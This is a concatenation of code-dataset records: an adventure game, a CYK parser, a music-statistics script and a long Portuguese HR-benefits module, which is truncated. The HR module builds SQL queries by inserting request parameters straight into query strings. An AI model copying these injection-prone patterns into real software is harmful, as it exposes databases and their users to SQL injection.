return results\n\n\nif __name__ == \"__main__\":\n name = input(\"Enter model name (with exstension):\")\n text = input(\"Enter text to be predicted:\")\n Model = model(r'model', name)\n print(Model.get_top_k(text, 3))\n","sub_path":"app/ml_models/model_package_sklearn.py","file_name":"model_package_sklearn.py","file_ext":"py","file_size_in_byte":1654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"452774914","text":"from room import Room\nfrom player import Player\n\n# Declare all the rooms\n\nroom = {\n 'outside': Room(\"Outside Cave Entrance\",\n \"North of you, the cave mount beckons\", ['staff']),\n\n 'foyer': Room(\"Foyer\", \"\"\"Dim light filters in from the south. Dusty\npassages run north and east.\"\"\", ['torch']),\n\n 'overlook': Room(\"Grand Overlook\", \"\"\"A steep cliff appears before you, falling\ninto the darkness. Ahead to the north, a light flickers in\nthe distance, but there is no way across the chasm.\"\"\"),\n\n 'narrow': Room(\"Narrow Passage\", \"\"\"The narrow passage bends here from west\nto north. The smell of gold permeates the air.\"\"\"),\n\n 'treasure': Room(\"Treasure Chamber\", \"\"\"You've found the long-lost treasure\nchamber! Sadly, it has already been completely emptied by\nearlier adventurers. The only exit is to the south.\"\"\"),\n}\n\nplayer = Player('Jaytee', room['outside'])\n\n\n# Link rooms together\nroom['outside'].n_to = room['foyer']\nroom['foyer'].s_to = room['outside']\nroom['foyer'].n_to = room['overlook']\nroom['foyer'].e_to = room['narrow']\nroom['overlook'].s_to = room['foyer']\nroom['narrow'].w_to = room['foyer']\nroom['narrow'].n_to = room['treasure']\nroom['treasure'].s_to = room['narrow']\n\n#\n# Main\n#\n\n# Make a new player object that is currently in the 'outside' room.\n\n# Write a loop that:\n#\n# * Prints the current room name\n# * Prints the current description (the textwrap module might be useful here).\n# * Waits for user input and decides what to do.\n#\n# If the user enters a cardinal direction, attempt to move to the room there.\n# Print an error message if the movement isn't allowed.\n#\n# If the user enters \"q\", quit the game.\n\ncommands = ['n', 'e', 's', 'w', 'q', 'grab', 'drop']\n\ndef handlePlayerMovement(playerInput):\n if hasattr(player.current_room, f\"{playerInput}_to\"):\n # update the current_room that the player is in\n linkedRoom = getattr(player.current_room, f\"{playerInput}_to\")\n player.current_room = linkedRoom\n\n else:\n print(\"\\nCan't travel that direction\")\n\n# handles all interactions of items between the player and current room they're in\ndef handleItems(playerAction, itemName):\n if playerAction == 'grab':\n # check if the item currently exists in the room\n if itemName in player.current_room.inventory:\n player.inventory.append(itemName)\n player.current_room.inventory.remove(itemName)\n print(f\"\\nYou picked up: {itemName}\")\n else:\n print(\"\\nThat item doesn't exist\")\n\n elif playerAction == 'drop':\n # check if the item currently exists in player's inventory\n if itemName in player.inventory:\n player.inventory.remove(itemName)\n player.current_room.inventory.append(itemName)\n print(f\"\\nYou dropped: {itemName}\")\n else:\n print(\"\\nThat item doesn't exist\")\n\n\ndef checkPlayerInput(playerInput):\n # if playerInput is a single value, it is a movement value, make sure it's a valid movement\n if len(playerInput) == 1:\n # check if the input exists in commands list\n if playerInput[0] in commands:\n if playerInput[0] == 'q':\n quit()\n elif playerInput[0] == 'grab' or playerInput[0] == 'drop':\n print(\"\\nPlease specify the name of the item you want to pick up after a 'grab' or 'drop' command\")\n else:\n handlePlayerMovement(playerInput[0])\n else:\n print(\"\\nPlease enter a valid command\")\n\n # 2 input values means the player is trying to grab or drop an item\n elif len(playerInput) == 2:\n # check if the input exists in commands list\n if playerInput[0] in commands:\n handleItems(playerInput[0], playerInput[1])\n else:\n print(\"\\nPlease enter a valid command\")\n\n else:\n print(\"\\nPlease enter a valid command\")\n\ndef playGame():\n # keeps the game running after the player does something\n gameIsRunning = True\n\n while gameIsRunning == True:\n # show the player's current location\n print(f\"\\nCurrent location: {player.current_room.name},\\n{player.current_room.desc}\\n\")\n\n # if the player has anything in their inventory, display their inventory\n if len(player.inventory) > 0:\n print(f\"Player Inventory: {player.inventory}\\n\")\n\n # if there is an item in the room, display it\n if(len(player.current_room.inventory) > 0):\n print(f\"This room has stuff you can grab: {player.current_room.inventory}\\n\")\n\n # get player input from prompt\n playerInput = input(\"What would you like to do? [n/e/s/w/grab/drop/q to quit]: \").lower().split(' ')\n\n # check for validity of player's input\n checkPlayerInput(playerInput)\n\n# game logic triggers everytime the player does something\nplayGame()","sub_path":"src/adv.py","file_name":"adv.py","file_ext":"py","file_size_in_byte":4865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"303385447","text":"# Chandni Patel\n# CS 585 - NLP\n# Homework 4\n\n\"\"\"Read grammar definition and sentence to parse,\nthen output a valid parse for the sentence, given the grammar.\n\nImplementation of Cocke-Younger-Kasami parsing\n\"\"\"\n\nimport argparse\nfrom collections import namedtuple\nimport re\n\n# Data structures for rules\n# Nonterminal rules have one symbol on left-hand side, two symbols on right-hand side\nNonterminalRule = namedtuple(\"NonterminalRule\", [\"lhs\", \"rhs1\", \"rhs2\"])\n# Terminal rules have one symbol on left-hand side, one symbol on right-hand side\nTerminalRule = namedtuple(\"TerminalRule\", [\"lhs\", \"rhs\"])\n\n# Data structure for parsed phrase\nParsedPhrase = namedtuple(\"ParsedPhrase\", [\"label\", \"children\"])\n\ndef parse_rules(infile):\n \"\"\"Parse grammar file with phrase structure rules, and\n return a tuple (nt, t), where nt is a list of nonterminal\n rules and t is a list of terminal rules\n \"\"\"\n nt = []\n t = []\n ntmatcher = re.compile(r\"^\\s*(\\w+)\\s+->\\s+(\\w+)\\s+(\\w+)\\s*$\")\n tmatcher = re.compile(r\"^\\s*(\\w+)\\s+->\\s+(\\w+)\\s*$\")\n with open(infile) as input_text:\n for line in input_text:\n found = ntmatcher.search(line)\n if found:\n nt.append(NonterminalRule(*found.group(1, 2, 3)))\n else:\n found = tmatcher.search(line)\n if found:\n t.append(TerminalRule(*found.group(1, 2)))\n return nt, t\n\n\ndef read_sentences(infile):\n \"\"\"Read a file with one sentence per line, and return\n a list of word lists (one for each sentence)\n \"\"\"\n with open(infile) as input_text:\n return [line.strip().split() for line in input_text if line]\n\n\ndef parse_sentence(nt_rules, t_rules, words):\n \"\"\"Parse a sentence with the CYK algorithm\n\n :param nt_rules: List of nonterminal rules in grammar\n :param t_rules: List of terminal rules in grammar\n :param words: sequence (list) of words in sentence to parse\n :return: Recursively-nested NonterminalRule object representing parse tree\n (or None if parsing fails)\n \"\"\"\n # NOTE -- you can change this data structure / function if you prefer to do\n # this differently, but the function still needs to return\n # - a parse represented as recursively nested NonterminalRule / TerminalRule objects\n # - or None if the sentence cannot be parsed\n\n # chart[m][n][symb] will contain a ParsedPhrase object for a phrase\n # - of length m+1\n # - starting at word n\n # - of phrase category symb\n chart = [[{} for j in range(len(words))] for i in range(len(words))]\n\n # Initialize terminals in chart\n for i, word in enumerate(words):\n for tr in t_rules:\n if word == tr.rhs:\n chart[0][i][tr.lhs] = ParsedPhrase(label=tr.lhs, children=[word])\n\n # Work up the chart\n # TODO\n # Implementing Cocke-Younger-Kasami parsing algorithm\n # for m := 1 to Nw-1 do:\n for m in range(1, len(words)):\n # for n := 0 to Nw-m-1 do:\n for n in range(len(words)-m):\n # chart[m, n] := {}\n chart[m][n] = {}\n # for k := n+1 to n+m do:\n for k in range(n+1, n+m+1):\n # for every_rule A → BC do:\n for A in nt_rules:\n # if B ∈ chart[k-n-1, n] and C ∈ chart[n+m-k, k] then:\n if (A.rhs1 in chart[k-n-1][n]) and (A.rhs2 in chart[n+m-k][k]):\n # chart[m, n] := chart[m, n] ∪ {A}\n chart[m][n][A.lhs] = ParsedPhrase(label=A.lhs, \n children=[chart[k-n-1][n].get(A.rhs1), chart[n+m-k][k].get(A.rhs2)])\n # END TODO\n\n # All valid sentence parses should have the label \"S\"\n return chart[len(words)-1][0].get(\"S\")\n\n\ndef parse_to_string(parse):\n \"\"\"Return a string representation of a parsed phrase object\n \"\"\"\n if len(parse.children) > 1:\n return f\"({parse.label} {parse_to_string(parse.children[0])} {parse_to_string(parse.children[1])})\"\n return f\"({parse.label} {parse.children[0]})\"\n\n\nif __name__ == \"__main__\":\n \"\"\"Do not edit this code\n \"\"\"\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--grammar_file\", default=\"grammar_1.txt\")\n parser.add_argument(\"--sentence_file\", default=\"sentences_1.txt\")\n args = parser.parse_args()\n\n nt_rules, t_rules = parse_rules(args.grammar_file)\n word_sequences = read_sentences(args.sentence_file)\n\n for s in word_sequences:\n parse = parse_sentence(nt_rules, t_rules, s)\n if parse:\n print(parse_to_string(parse))\n else:\n print(\"Parsing failed\")\n","sub_path":"hw4/cyk.py","file_name":"cyk.py","file_ext":"py","file_size_in_byte":4622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"370973969","text":"\"\"\"\nconsole:core.eventers.console\n\"\"\"\n\nimport asyncio\nimport radiality\n\n\nclass Eventer(radiality.Eventer):\n \"\"\"\n The `console` eventer\n \"\"\"\n\n @radiality.event\n def ping(self):\n self.log('please stand by...')\n yield from asyncio.sleep(1)\n self.log('ping...')\n","sub_path":"example/console/core/eventers/console.py","file_name":"console.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"651292674","text":"# only for self usage\n# do some statistical analysis about the data set\n# close file handler is quite important =..=\nimport lib\nimport sys\n# I'm a python shushinnsha\nclass artist(object):\n def __init__(self):\n self.mlist=[];\n \nclass music(object):\n def __init__(self):\n self.actlist=[0,0,0];# play, download, bookmark respectively # haven't compute the timestamp\n\n\n\n# load raw files\naction_reader,aid=lib.gen_reader('mars_tianchi_user_actions.csv');\nmusic_reader,mid=lib.gen_reader('mars_tianchi_songs.csv');\n\n\n\n\n\n\namap=lib.get_map('amap.csv'); # get artist map\nmmap=lib.get_map('mmap.csv'); # get music map\n\n\n\n\n\"\"\"\nto analyse:\n1. total action number\n2. each music lists belong to different artists\n3. each actions lists associated with each music\n\"\"\"\n\n# init two array\narts=lib.batch(lib.A_NUM,artist);\nmus=lib.batch(lib.M_NUM,music);\n\n\n# for artists\nfor row in music_reader:\n arts[int(amap[row[1]])-1].mlist.append(mmap[row[0]]);\n\ntotal=0;\nbegin_tp=sys.maxsize;\nend_tp=-1;\nfor row in action_reader:\n if(int(row[2])>end_tp):\n end_tp=int(row[2]);\n if(int(row[2]) 0:\n query = \"\"\"\n UPDATE hr_benefit_file SET\n hr_benefit_id = (\n SELECT MAX(hr_benefit_id) FROM hr_benefit)\n WHERE\n hr_benefit_id = %s\"\"\"\n cursor = mysql_db.execute(\n query % (params['img_' + str(i)]))\n cursor.close()\n\n # Benefits with default value\n for i in benefit_types:\n childs = self.select_benefit_child(i['id'])\n for j in childs:\n v = self.select_benefit_default_info(j)\n if int(j) not in map(lambda x: int(x['id']), benefit_types):\n cursor = mysql_db.execute(\n queryInsert % (\n str(j),\n str(v[0]['benefit_value']).replace(\n \".\", \"\").replace(\n \",\", \".\").replace(\"%\", \"\")[:-1],\n \"1\",\n str(params['entity_id']),\n i['data'],\n i['razao'],\n i['company_id']))\n cursor.close()\n\n if params['user_update']:\n request.session.flash(\"Usuario editado com sucesso.\")\n return True\n\n def select_benefit_child(self, type_id):\n query = \"\"\"\n SELECT\n t.hr_benefit_type_id\n FROM\n hr_benefit_type t\n INNER JOIN hr_benefit_type_x_hr_benefit_type hh ON\n t.hr_benefit_type_id = hh.hr_benefit_type_id_child\n WHERE\n hh.hr_benefit_type_id_parent = %s\n AND hr_benefit_type_negative_flag = 0\n AND t.hr_benefit_type_status = 1\"\"\"\n c = mysql_db.execute(query % (str(type_id)))\n\n return ([i[0] for i in c.fetchall()], c.close())[0]\n\n def definir_salario(self, entity_id):\n salario_bruto = 0.0\n salario_liquido = 0.0\n\n query = \"\"\"\n SELECT\n b.hr_benefit_value,\n b.hr_benefit_type_id\n FROM\n hr_benefit b\n INNER JOIN hr_benefit_type t ON\n t.hr_benefit_type_id = b.hr_benefit_type_id\n WHERE\n t.hr_benefit_type_salary_flag = 1\n AND b.entity_id = \"\"\" + str(entity_id)\n\n cursor = mysql_db.execute(query)\n\n infos = [i for i in cursor.fetchall()]\n salarios = {}\n for i in infos:\n salarios[i[1]] = (i[0], i[1])\n\n for i in salarios:\n inss = (self.select_descontos(salarios[i][1], entity_id, 1) and\\\n reduce(lambda x, y: x + y,\n map(lambda x: self.calcular_valor(\n salarios[i][0], x),\n self.select_descontos(\n salarios[i][1],\n entity_id,\n 1))) or 0)\n salario_bruto += salarios[i][0]\n desconto = self.select_descontos(salarios[i][1], entity_id) and\\\n reduce(lambda x, y: x + y,\n map(lambda x: self.calcular_valor(\n (salarios[i][0] - inss), x),\n self.select_descontos(\n salarios[i][1],\n entity_id))) or 0\n # Casos de teto ele ja calcula o valor do desconto direto\n # Mas preciso do valor para somar com os descontos\n if inss < 0:\n inss = inss * -1\n salario_liquido += (salarios[i][0] - (desconto + inss))\n\n salario_bruto = \"R$ \" + self.format_salary(str(salario_bruto))\n salario_liquido = \"R$ \" + self.format_salary(str(salario_liquido))\n\n return salario_bruto, salario_liquido, salarios\n\n def format_salary(self, value):\n return '{:,.2f}'\\\n .format(float(value))\\\n .replace(\".\", \";\")\\\n .replace(\",\", \".\")\\\n .replace(\";\", \",\")\n\n def calcular_valor(self, valor, desc):\n if \"%\" in desc:\n d = desc.replace(\"%\", \"\")\n return valor * float(d)\n else:\n return float(desc)\n\n def select_descontos(self, hr_benefit_type_id, entity_id, inss=0):\n queryDescontos = \"\"\"\n SELECT\n CASE\n WHEN b.hr_benefit_value IS NOT NULL\n THEN b.hr_benefit_value\n ELSE t.hr_benefit_type_default_value\n END AS hr_benefit_value,\n t.hr_benefit_type_percentage_flag\n FROM\n hr_benefit_type t\n LEFT JOIN hr_benefit b ON\n t.hr_benefit_type_id = b.hr_benefit_type_id\n WHERE\n t.hr_benefit_type_negative_flag = 1\n AND t.hr_benefit_type_inss_flag = %s\n AND t.hr_benefit_type_status = 1\n AND (b.entity_id = %s\n or t.hr_benefit_type_default_value IS NOT NULL)\n AND t.hr_benefit_type_id IN (\n SELECT\n hh.hr_benefit_type_id_child\n FROM\n hr_benefit_type_x_hr_benefit_type hh\n INNER JOIN hr_benefit_type t ON\n t.hr_benefit_type_id = hh.hr_benefit_type_id_parent\n WHERE\n hh.hr_benefit_type_id_parent = %s)\"\"\"\n queryTabelados = \"\"\"\n SELECT\n tt.hr_benefit_type_table_aliquot,\n 1 as percentage_flag,\n ROUND(-tt.hr_benefit_type_table_discount, 2)\n FROM\n hr_benefit_type t\n INNER JOIN hr_benefit_type_table tt ON\n tt.hr_benefit_type_id = t.hr_benefit_type_id\n INNER JOIN hr_benefit_type_x_hr_benefit_type hh ON\n hh.hr_benefit_type_id_child = tt.hr_benefit_type_id\n INNER JOIN hr_benefit b ON\n b.hr_benefit_type_id = hh.hr_benefit_type_id_parent\n WHERE\n b.entity_id = %s\n AND (b.hr_benefit_value >= tt.hr_benefit_type_table_value_from\n AND (\n CASE\n WHEN tt.hr_benefit_type_table_value_to = 0\n THEN 1 = 1\n ELSE b.hr_benefit_value <= tt.hr_benefit_type_table_value_to\n END ))\n AND t.hr_benefit_type_inss_flag = %s\n AND t.hr_benefit_type_status = 1\n AND t.hr_benefit_type_negative_flag = 1\n AND b.hr_benefit_type_id = %s\"\"\"\n\n cursorDescontos = mysql_db.execute(\n queryDescontos % (\n str(inss),\n str(entity_id),\n str(hr_benefit_type_id)))\n cursorTabelados = mysql_db.execute(\n queryTabelados % (\n str(entity_id),\n str(inss),\n str(hr_benefit_type_id)))\n\n descontos = [\n (i[1] and str(float(i[0]) / 100.0)\\\n + '%' or str(i[0])) for i in cursorDescontos.fetchall()]\n tabelados = [i for i in cursorTabelados.fetchall()]\n\n descontos.extend([\n (i[1] and str(float(i[0]) / 100.0)\\\n + '%' or str(i[0])) for i in tabelados])\n descontos.extend([str(i[2]) for i in tabelados])\n\n cursorDescontos.close()\n cursorTabelados.close()\n \n return descontos\n\n def select_salarios(self, entity_id):\n query = \"\"\"\n SELECT\n hb.hr_benefit_value,\n ht.hr_benefit_type_desc,\n hb.hr_benefit_start_date,\n ht.hr_benefit_type_id\n FROM\n hr_benefit hb\n INNER JOIN hr_benefit_type ht ON\n ht.hr_benefit_type_id = hb.hr_benefit_type_id\n WHERE\n hb.entity_id = %s\n AND ht.hr_benefit_type_salary_flag = 1\n \"\"\"\n cursor = mysql_db.execute(query % (str(entity_id)))\n\n return ([{\n \"valor\": i[0],\n \"start\": i[2].strftime(\"%d/%m/%Y\"),\n \"type_id\": i[3],\n \"desc\": i[1]} for i in cursor.fetchall()], cursor.close())[0]\n\n def delete_benefit_type(self, type_id):\n queryType = \"\"\"\n UPDATE hr_benefit_type\n SET hr_benefit_type_status = 0\n WHERE hr_benefit_type_id = %s\n \"\"\"\n c = mysql_db.execute(queryType % (str(type_id)))\n c.close()\n\n queryBenefit = \"\"\"\n UPDATE hr_benefit\n SET\n hr_benefit_status_id = 2,\n hr_benefit_end_date = now()\n WHERE hr_benefit_type_id = %s\n \"\"\"\n c = mysql_db.execute(queryBenefit % (str(type_id)))\n c.close()\n\n return True\n\n def select_beneficios(self, entity_id, historico=0, filtro=\"\"):\n queryBenefit = \"\"\"\n SELECT\n CASE\n WHEN ht.hr_benefit_type_tab_flag = 1\n THEN (\n SELECT\n (s.hr_benefit_value * (tt.hr_benefit_type_table_aliquot / 100))\n FROM\n hr_benefit_type_table tt\n WHERE\n tt.hr_benefit_type_id = ht.hr_benefit_type_id\n AND (\n tt.hr_benefit_type_table_value_from <= s.hr_benefit_value AND\n tt.hr_benefit_type_table_value_to >= s.hr_benefit_value\n )\n )\n ELSE hb.hr_benefit_value\n END AS hr_benefit_value,\n ht.hr_benefit_type_desc,\n hb.hr_benefit_start_date,\n ht.hr_benefit_type_id,\n ht.hr_benefit_type_percentage_flag,\n hb.hr_benefit_reason,\n hb.hr_benefit_id,\n hb.hr_benefit_end_date,\n hf.hr_benefit_file_desc,\n hb.company_id\n FROM\n hr_benefit hb\n INNER JOIN hr_benefit_type ht ON\n ht.hr_benefit_type_id = hb.hr_benefit_type_id\n LEFT JOIN hr_benefit_file hf ON\n hb.hr_benefit_id = hf.hr_benefit_id\n LEFT JOIN hr_benefit_type_x_hr_benefit_type hh ON\n hb.hr_benefit_type_id = hh.hr_benefit_type_id_child\n LEFT JOIN hr_benefit s ON\n s.hr_benefit_type_id = hh.hr_benefit_type_id_parent\n WHERE\n hb.entity_id = %s\n AND ht.hr_benefit_type_salary_flag = %s\n %s\n AND ht.hr_benefit_type_negative_flag = 0\n AND (hb.hr_benefit_end_date IS \"\"\"\\\n + (historico and \"NOT NULL and \"\\\n + \"hb.hr_benefit_end_date != '0000-00-00 00:00:00')\" or \"NULL or \"\\\n + \"hb.hr_benefit_end_date = '0000-00-00 00:00:00')\")\\\n + \" ORDER BY ht.hr_benefit_type_desc\"\n cursorSalario = mysql_db.execute(\n queryBenefit % (str(entity_id), '1', filtro))\n cursorBeneficios = mysql_db.execute(\n queryBenefit % (str(entity_id), '0', filtro))\n\n if historico:\n salarios = ([{\n \"5\": [\"valor\", self.format_value(\n i[4] and str(i[0]) + \"%\" or \"R$ \" + str(i[0]))],\n \"3\": [\"start\", i[2].strftime(\"%d/%m/%Y\")],\n \"0\": [\"id\", i[6]],\n \"2\": [\"reason\", i[5] and i[5] or \"-\"],\n \"4\": [\"Data Fim\", i[7] and i[7].strftime(\"%d/%m/%Y\") or ''],\n \"1\": [\"desc\", i[1]]} for i in cursorSalario.fetchall()],\n cursorSalario.close())[0]\n beneficios = ([{\n \"5\": [\"valor\", self.format_value(\n i[4] and str(i[0]) + \"%\" or \"R$ \" + str(i[0]))],\n \"3\": [\"start\", i[2].strftime(\"%d/%m/%Y\")],\n \"0\": [\"id\", i[6]],\n \"2\": [\"reason\", i[5] and i[5] or \"-\"],\n \"4\": [\"Data Fim\", i[7].strftime(\"%d/%m/%Y\")],\n \"1\": [\"desc\", i[1]]} for i in cursorBeneficios.fetchall()],\n cursorBeneficios.close())[0]\n\n beneficios.sort()\n salarios.extend(beneficios)\n\n return salarios\n else:\n salarios = ([{\n \"valor\": self.format_value(\n i[4] and str(i[0]) + \"%\" or \"R$ \" + str(i[0])),\n \"start\": i[2].strftime(\"%d/%m/%Y\"),\n \"type_id\": i[3],\n \"id\": i[6],\n \"reason\": i[5] and i[5] or \"-\",\n \"company_id\": i[\"company_id\"],\n \"img\": i[8] and i[8] or \"\",\n \"desc\": i[1]} for i in cursorSalario.fetchall()],\n cursorSalario.close())[0]\n beneficios = ([{\n \"valor\": self.format_value(\n i[4] and str(i[0]) + \"%\" or \"R$ \" + str(i[0])),\n \"start\": i[2].strftime(\"%d/%m/%Y\"),\n \"type_id\": i[3],\n \"company_id\": i[\"company_id\"],\n \"id\": i[6],\n \"reason\": i[5] and i[5] or \"-\",\n \"img\": i[8] and i[8] or \"\",\n \"desc\": i[1]} for i in cursorBeneficios.fetchall()],\n cursorBeneficios.close())[0]\n\n queryDefaultBenefit = \"\"\"\n SELECT\n ht.hr_benefit_type_default_value,\n ht.hr_benefit_type_desc,\n ht.hr_benefit_type_id,\n ht.hr_benefit_type_percentage_flag\n FROM\n hr_benefit_type ht\n INNER JOIN hr_benefit_type_x_hr_benefit_type hh ON\n hh.hr_benefit_type_id_child = ht.hr_benefit_type_id\n WHERE\n hh.hr_benefit_type_id_parent IN (%s)\n AND ht.hr_benefit_type_status = 1\n AND ht.hr_benefit_type_negative_flag = 0 \"\"\"\n q = lambda x: queryDefaultBenefit + (\n x and \"AND ht.hr_benefit_type_id NOT IN (%s)\" or \"\")\n if beneficios:\n cursor = mysql_db.execute(\n q(True) % (\n ','.join([str(i['type_id']) for i in salarios]),\n ','.join([str(i['type_id']) for i in beneficios])))\n else:\n cursor = mysql_db.execute(\n q(False) % (\n ','.join([str(i['type_id']) for i in salarios])))\n beneficios.extend(\n [{\n \"valor\": (i[0] and self.format_value(\n i[3] and str(i[0]) + \"%\" or \"R$ \" + str(i[0])) or \"-\"),\n \"start\": \"-\",\n \"type_id\": i[2],\n \"id\": \"0\",\n \"reason\": \"-\",\n \"img\": \"\",\n \"desc\": i[1]} for i in cursor.fetchall()])\n beneficios.sort()\n salarios.extend(beneficios)\n cursor.close()\n\n return salarios\n\n def benefit_update(self, request):\n params = request.params\n\n data_i = params['benefit_start_date'].split('/')\n data_f = params['benefit_end_date'] and \\\n params['benefit_end_date'].split('/') or ''\n data_f = data_f and data_f[2] + \"-\" + data_f[1] + \"-\"\\\n + data_f[0] or ''\n valor = params['benefit_value'].replace('.', '')\\\n .replace(',', '.')\n query = \"\"\"\n UPDATE hr_benefit SET\n hr_benefit_value = %s,\n hr_benefit_start_date = '%s',\n hr_benefit_reason = '%s',\n hr_benefit_end_date = '%s',\n company_id = %s\n WHERE\n hr_benefit_id = %s\"\"\"\n cursor = mysql_db.execute(query % (\n valor,\n data_i[2] + \"-\" + data_i[1] + \"-\" + data_i[0],\n params['benefit_reason'],\n data_f,\n str(params['company_id']),\n str(params['benefit_edit'])))\n cursor.close()\n\n if not params['arquivo'] == \"\":\n data = params['file_date'] and\\\n params['file_date'].split(\"/\") or \"\"\n \n res = request.POST['arquivo']\n _, file_type = res.filename.split(\".\")\n new_file_name = uuid.uuid4()\n input_file = res.file\n path = os.path.join(\n 'c:/vetorlobo2/pts/pts/upload/rh/',\n '%s.%s' % (new_file_name, file_type))\n tmp = path + \"~\"\n with open(tmp, 'wb') as output:\n shutil.copyfileobj(input_file, output)\n os.rename(tmp, path)\n\n q = \"\"\"\n INSERT INTO hr_benefit_file\n (hr_benefit_id, hr_benefit_file_desc, hr_benefit_file_date,\n hr_benefit_file_type)\n VALUES\n (%s, '%s', '%s', %s)\n \"\"\"\n c = mysql_db.execute(q % (\n str(params['benefit_edit']),\n str(new_file_name) + \".\" + file_type,\n (data and data[2] + \"-\" + data[1] + \"-\" + data[0] or \"\"),\n 1))\n c.close()\n\n def definir_estilo_contratacao(self, entity_id):\n query = \"\"\"\n SELECT\n t.hr_benefit_type_desc\n FROM\n hr_benefit b\n INNER JOIN hr_benefit_type t ON \n t.hr_benefit_type_id = b.hr_benefit_type_id\n WHERE\n t.hr_benefit_type_salary_flag = 1\n AND (b.hr_benefit_end_date IS NULL OR \n b.hr_benefit_end_date = '0000-00-00 00:00:00')\n AND b.entity_id = %s\n ORDER BY\n t.hr_benefit_type_desc\"\"\"\n \n cursor = mysql_db.execute(query % (str(entity_id)))\n return ([i[0] for i in cursor.fetchall()], cursor.close())[0]\n\n def select_rh_type(self):\n query = \"SELECT * FROM rh_users_types\"\n cursor = mysql_db.execute(query)\n\n return ([{\n \"rh_user_type_id\": i[0],\n \"rh_user_type_desc\": i[1]}] for i in cursor.fetchall())[0]\n\n def delete_past_benefit(self, benefit_id):\n if self.can_delete():\n query = \"DELETE FROM hr_benefit WHERE hr_benefit_id = %s\"\n cursor = mysql_db.execute(query % (str(benefit_id)))\n cursor.close()\n\n return \"Deletado\"\n\n def can_delete(self):\n # TODO\n return True\n\n def delete_benefit_file(self, benefit_file_id):\n q = \"\"\"\n SELECT hr_benefit_file_desc FROM hr_benefit_file\n WHERE hr_benefit_file_id = %s\"\"\"\n c = mysql_db.execute(q % (str(benefit_file_id)))\n desc = [i[0] for i in c.fetchall()][0]\n c.close()\n \n if self.can_delete():\n path = os.path.join('c:/vetorlobo2/pts/pts/upload/rh/')\n shutil.move(path + desc, path + \"lixeira/\" + desc)\n q = \"\"\"\n UPDATE hr_benefit_file\n SET hr_benefit_id = %s\n WHERE hr_benefit_file_id = %s\n \"\"\"\n c = mysql_db.execute(q % ('0', str(benefit_file_id)))\n c.close()\n\n def select_benefit_info(self, benefit_id):\n q = \"\"\"\n SELECT\n b.hr_benefit_value,\n b.hr_benefit_reason,\n b.hr_benefit_start_date,\n f.hr_benefit_file_id\n FROM\n hr_benefit b\n LEFT JOIN hr_benefit_file f ON f.hr_benefit_id = b.hr_benefit_id\n WHERE\n b.hr_benefit_id = %s\"\"\"\n c = mysql_db.execute(q % (str(benefit_id)))\n\n return ([{\n \"benefit_value\": i[0],\n \"benefit_value_str\": \"%.2f\" % (i[\"hr_benefit_value\"]),\n \"benefit_reason\": i[1],\n \"file_id\": i[3],\n \"benefit_start_date\": i[2].strftime(\"%d/%m/%Y\")}\\\n for i in c.fetchall()], c.close())[0]\n\n def select_benefit_default_info(self, benefit_type_id):\n q = \"\"\"\n SELECT\n hr_benefit_type_default_value\n FROM\n hr_benefit_type\n WHERE\n hr_benefit_type_id = %s\"\"\"\n c = mysql_db.execute(q % (str(benefit_type_id)))\n\n return ([{\n \"benefit_value\": i[0]} for i in c.fetchall()], c.close())[0]\n\n def select_benefit_list(self, request, count=0):\n filtro = \"\"\n ordem = \"\"\n if request.params.get('busca'):\n filtro += \" AND t.hr_benefit_type_desc LIKE '%\"\\\n + request.params['busca'] + \"%' \"\n if request.params.get(\"status_id\"):\n if int(request.params[\"status_id\"]) > 0:\n filtro += \" AND t.hr_benefit_type_status = \" + (\n int(request.params[\"status_id\"]) == 1 and \"1\" or \"0\")\n if request.params.get(\"type_id\"):\n if int(request.params[\"type_id\"]) > 0:\n if int(request.params['type_id']) in (2, 3):\n filtro += \" AND t.hr_benefit_type_inss_flag = 0\"\n filtro += \" AND t.hr_benefit_type_negative_flag = \" +\\\n (int(request.params['type_id']) == 2 and \"0\" or \"1\")\n if int(request.params['type_id']) == 1:\n filtro += \" AND t.hr_benefit_type_salary_flag = 1\"\n if int(request.params['type_id']) == 4:\n filtro += \" AND t.hr_benefit_type_inss_flag = 1\"\n if request.params.get('order_value'):\n ordem = \"ORDER BY \" + request.params['order_value']\\\n + \" \" + request.params['order_direction']\n else:\n ordem = \"ORDER BY t.hr_benefit_type_desc\"\n query = \"\"\"\n SELECT\n t.hr_benefit_type_id,\n t.hr_benefit_type_desc,\n t.hr_benefit_type_percentage_flag,\n t.hr_benefit_type_default_value,\n t2.hr_benefit_type_desc,\n t.hr_benefit_type_negative_flag,\n t.hr_benefit_type_inss_flag\n FROM\n hr_benefit_type t\n LEFT JOIN hr_benefit_type_x_hr_benefit_type hh ON\n t.hr_benefit_type_id = hh.hr_benefit_type_id_child\n LEFT JOIN hr_benefit_type t2 ON\n t2.hr_benefit_type_id = hh.hr_benefit_type_id_parent\n \"\"\" + (filtro and \"WHERE t.hr_benefit_type_status = 1 \"\\\n + filtro or \"WHERE t.hr_benefit_type_status = 1 \") + \"\"\"\n GROUP BY\n t.hr_benefit_type_id,\n t.hr_benefit_type_desc,\n t.hr_benefit_type_percentage_flag,\n t.hr_benefit_type_default_value,\n t2.hr_benefit_type_desc,\n t.hr_benefit_type_negative_flag\n \"\"\" + ordem\n cursor = mysql_db.execute(query)\n\n if count:\n return (\n len([i for i in cursor.fetchall()]), cursor.close())[0]\n else:\n res = [{\n \"0\": [\"Id\", i[0]],\n \"1\": [\"hr_benefit_type_desc\", i[1]],\n \"2\": [\"hr_benefit_type_desc\", i[\"hr_benefit_type_inss_flag\"] and \"INSS\" or\\\n i[\"hr_benefit_type_negative_flag\"] and \"Despesa\" or \"Benefício\"],\n \"4\": [\"hr_benefit_type_periodicity\", i[1] and \"Mensal\" or \"Anual\"],\n \"6\": [\"hr_benefit_type_status\", i[1] and \"Ativo\" or \"Inativo\"],\n \"5\": [\"hr_benefit_default_value\",\n self.define_value((i[2] and (\n i[3] and self.format_value(\n str(i[3])) + \"%\" or \"-\") or (\n i[3] and \"R$ \" + self.format_value(\n str(i[3])) or \"-\")), i[5])],\n \"3\": [\"hr_benefit_association\", (\n i[4] and \"\" + i[4] + \" \"\\\n + self.define_child_benefits(i[0]) or\\\n \"\" + 